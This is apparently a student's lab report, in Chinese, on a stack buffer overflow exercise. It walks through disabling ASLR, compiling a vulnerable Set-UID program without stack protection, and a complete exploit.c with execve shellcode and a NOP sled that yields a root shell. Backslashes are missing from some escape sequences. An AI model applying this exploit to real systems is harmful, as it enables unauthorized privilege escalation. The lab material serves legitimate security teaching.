zoukankan      html  css  js  c++  java
  • 2017-2018-2 20179202《网络攻防技术》第十周作业

    缓冲区溢出

    一、初始设置

    1.输入命令“linux32”进入32位linux环境,输入“/bin/bash”使用bash(可以补全tab)。

    2.使用命令sudo sysctl -w kernel.randomize_va_space=0关闭地址空间随机化功能。

    3.为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权(能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限)。这个防护措施在/bin/bash中实现。使用以下指令将另一个shell程序(zsh)代替/bin/bash,从而重现这一防护措施被实现之前的情形。

    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    

    二、Shellcode

    一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

    #include <stdio.h>
    int main( ) {
    char *name[2];
    name[0] = ‘‘/bin/sh’’;
    name[1] = NULL;
    execve(name[0], name, NULL);
    }
    

    本次实验的shellcode,就是以上代码的汇编版本:x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80

    三、漏洞程序

    漏洞程序读取一个名为“badfile”的文件,并将文件内容装入“buffer”。原始输入最大长度为517字节,但是在bof()中的缓冲区只有12字节长。因为strcpy()不检查边界,将发生缓冲区溢出。

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
    char buffer[12];
    
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
    }
    
    int main(int argc, char **argv)
    {
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly
    ");
    return 1;
    }
    

    用以下命令编译该程序,并设置SET-UID(
    深入理解SetUID)。

    sudo su 
    gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c(GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。-z execstack 用于允许执行栈)
    chmod u+s stack(不输入此条命令最后不能获得root shell)
    exit
    

    四、攻击程序

    exploit.c是为了构造一个包含恶意代码的badfile文件而创建的。

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[]=
    
    "x31xc0"    //xorl %eax,%eax
    "x50"        //pushl %eax
    "x68""//sh"  //pushl $0x68732f2f
    "x68""/bin"  //pushl $0x6e69622f
    "x89xe3"    //movl %esp,%ebx
    "x50"        //pushl %eax
    "x53"        //pushl %ebx
    "x89xe1"    //movl %esp,%ecx
    "x99"        //cdq
    "xb0x0b"    //movb $0x0b,%al
    "xcdx80"    //int $0x80
    ;
    
    void main(int argc, char **argv)
    {
    char buffer[517];
    FILE *badfile;
    
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
    strcpy(buffer+100,shellcode);
    
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
    }
    

    用四个一组的x90(0x90代表NOP,会占用地址空间,但是并不会执行任何代码,而是跳过,执行下一行代码)来填充,最后一个x??x??x??x??代表shellcode的地址,发生溢出后这个位置刚好可以覆盖返回地址。

    strcpy(buffer+100,shellcode)说明shellcode保存在 buffer+100 的位置。所以现在要做的就是得到shellcode在内存中的地址。

    使用GDB来查看汇编代码,可以看出str初始化语句存在<+6>位置,在下一句地址0x080484e8设置断点,并查看esp所指地址为0xffffd060。

    这样就得到了str的起始地址,根据strcpy(buffer+100,shellcode)计算shellcode的地址为 0xffffd060(十六进制)+100(十进制)=0xffffd0c4(十六进制),将exploit.c中x??x??x??x?? 修改为 xc4xd0xffxff 。

    gcc -m32 -o exploit exploit.c编译exploit.c。执行,攻击成功,得到root权限。

    通过命令sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制,重复用exploit程序攻击stack程序,则会发生段错误。

    将/bin/sh重新指向/bin/bash(或/bin/dash),亦会发生段错误。

  • 相关阅读:
    张五常:思考的方法
    David Foster Wallace on Life and Work
    SQL SERVER SQL Agent服务使用小结
    js大全
    中国载人航天工程七大系统
    vc 编译遇到问题
    学习Excel技巧
    使用Request.ServerVariables获取环境变量
    c# 字符常用函数
    SQL数据同步
  • 原文地址:https://www.cnblogs.com/Jspo/p/9032421.html
Copyright © 2011-2022 走看看